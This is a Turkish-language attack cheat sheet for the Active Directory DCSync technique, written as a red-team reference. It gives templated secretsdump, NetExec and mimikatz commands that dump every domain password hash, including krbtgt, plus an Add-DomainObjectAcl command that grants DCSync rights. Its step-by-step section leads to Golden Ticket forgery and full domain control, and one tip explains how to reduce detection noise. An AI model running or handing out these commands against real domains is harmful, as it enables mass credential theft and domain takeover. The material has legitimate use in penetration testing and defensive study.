DCSync — Replication ile krbtgt ve Tum Domain Hash'leri
Replicating Directory Changes (DS-Replication-Get-Changes / -All) hakkina sahip bir principal'la, bir DC'yi taklit ederek tum domain'in NTLM hash'lerini (krbtgt dahil) DRSUAPI replikasyon protokolu uzerinden cekersin. NTDS.dit'e fiziksel erisim gerekmeden. krbtgt hash'i = Golden Ticket.
- DS-Replication-Get-Changes + DS-Replication-Get-Changes-All haklari (Domain Admins, Enterprise Admins, Administrators ya da delege edilmis ACL)
- DC ile ag baglantisi (445/135/389)
Komutlar
impacket-secretsdump -just-dc {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}} impacket-secretsdump -just-dc-ntlm {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}} impacket-secretsdump -just-dc-user {{DOMAIN}}/krbtgt {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}} impacket-secretsdump -just-dc -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{DC_IP}} nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}} --ntds nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}} --ntds --user krbtgt mimikatz # lsadump::dcsync /domain:{{DOMAIN}} /user:krbtgt mimikatz # lsadump::dcsync /domain:{{DOMAIN}} /user:Administrator Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity {{USER}} -Rights DCSync DCSync nedir?
Domain Controller’lar birbirleriyle dizin verisini DRSUAPI (Directory Replication Service Remote Protocol) ile senkronize eder. DCSync, bir saldirganin kendini bir DC gibi gosterip DRSGetNCChanges cagrisiyla secret attributes (unicodePwd = NTLM hash, supplementalCredentials = Kerberos key’ler) istemesidir. NTDS.dit’e fiziksel erisim gerekmez — sadece dogru replikasyon hakkina.
Gereken hak: Replicating Directory Changes
DCSync calistirabilmek icin principal’in domain naming context uzerinde su iki extended right’i olmali:
DS-Replication-Get-Changes(GUID 1131f6aa-…)DS-Replication-Get-Changes-All(GUID 1131f6ad-…)
Bu haklar default olarak Domain Admins, Enterprise Admins, Administrators ve DC’lerde bulunur. Ama ACL abuse senaryosunda dusuk yetkili bir hesaba bu haklar yanlislikla/kotu niyetle delege edilmis olabilir (BloodHound bunu GetChanges/GetChangesAll/DCSync edge’i olarak gosterir). O zaman DA olmadan da DCSync yapilir.
Adim adim
- Prereq: DCSync hakki olan bir hesabin kimligi (parola ya da NTLM hash).
- Hedef sec: Genelde once
krbtgt(Golden Ticket icin), sonra-just-dcile tum domain. - Calistir: Linux’tan
impacket-secretsdump -just-dcya danxc --ntds; Windows’tanmimikatz lsadump::dcsync. - Sonuc: Tum kullanicilarin NTLM hash’i + krbtgt. Artik pass-the-hash, Golden Ticket ve tam domain kontrolu.
krbtgt neden bu kadar onemli?
krbtgt hesabinin hash’i, domain’deki tum TGT’leri imzalayan anahtardir. Onu ele gecirince Golden Ticket uretip istedigin SID/yetkiyle istedigin kullaniciyi taklit edebilirsin (bkz. ad-tickets). Bu yuzden DCSync ciktisindan krbtgt en degerli satirdir.
Gotchas
-just-dcKerberos key’leri (aes256/aes128/des) ve parola gecmisini de verir; sadece NTLM yeterliyse-just-dc-ntlmdaha hizli.- DRSUAPI cagrisi DC’de Event ID 4662 uretir (replication audit) — gercek operasyonda gurultuludur; tek kullanici cekerek (
-just-dc-user krbtgt) azaltabilirsin. - Read-Only DC (RODC) tam replikasyon vermez; writable DC’yi hedefle.
- PtH ile DCSync: parola yoksa
-hashes :{{NTHASH}}formatini kullan (LM bos, sadece NT).